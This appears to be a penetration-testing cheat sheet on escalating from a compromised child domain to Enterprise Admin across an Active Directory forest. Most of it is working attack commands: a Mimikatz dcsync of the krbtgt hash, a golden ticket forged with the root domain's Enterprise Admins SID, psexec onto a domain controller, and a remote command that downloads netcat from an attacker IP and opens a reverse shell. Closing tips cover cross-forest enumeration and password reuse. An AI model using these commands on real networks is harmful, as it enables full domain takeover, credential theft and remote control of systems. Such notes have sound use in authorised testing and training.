Forest
Multi-domain AD; Parent-child trust is transitive (multiple link of bi-directional trust). Enterprise Admins = Domain Admins in every domain in the forest, only exists in the root domain.
In the context of an Active Directory forest, our ultimate goal is to escalate our privileges from domain admin of one domain to Enterprise admin. The most direct way to obtain this is to compromise the root domain and obtain Enterprise Admin group membership.
#obtain current compromised child domain krbtgt hash
lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
#query current domain SID and parent/root domain SID
Get-DomainSID -Domain prod.corp1.com
Get-DomainSid -Domain corp1.com
#domain = current domain
#sid = current domain sid
#krbtgt = current domain krbtgt hash NTLM
#sids = root domain sid + "-519" (enterprise admin)
kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt
#golden ticket injected, pretending to be the enterprise admin
#golden ticket will get rewritten by the domain controller in the current domain with the trust key before going to the parent domain so the parent domain perceives us as a legit enterprise admin
dir \\rdc02.comply.com\admin$
psexec \\dc01 cmd
invoke-command -computername rdc02.comply.com -scriptblock {iwr -uri http://192.168.X.Y/nc64.exe -o c:\windows\tasks\nc64.exe; c:\windows\tasks\nc64.exe 192.168.X.Y 443 -e cmd.exe}
A forest is only as strong as its least secure domain and even the security boundary imposed by forest trust can be broken in some instances.
Enumeration
Domain Trusts
Users, Groups, Services in trusted domains
a user in prod.corp1.com may be a member of a group in corp2.com.
Depending on the access rights associated with myGroup2, if we were to compromise the x user in our current domain, we could easily gain access to corp2.com.
Forest Trusts
We could also use the BloodHound and SharpHound ingestors to perform full trust mapping.
Search for users with the same username in both forests as they might belong to the same employee. If such an account exists, there is a chance that the accounts share a password.
Last updated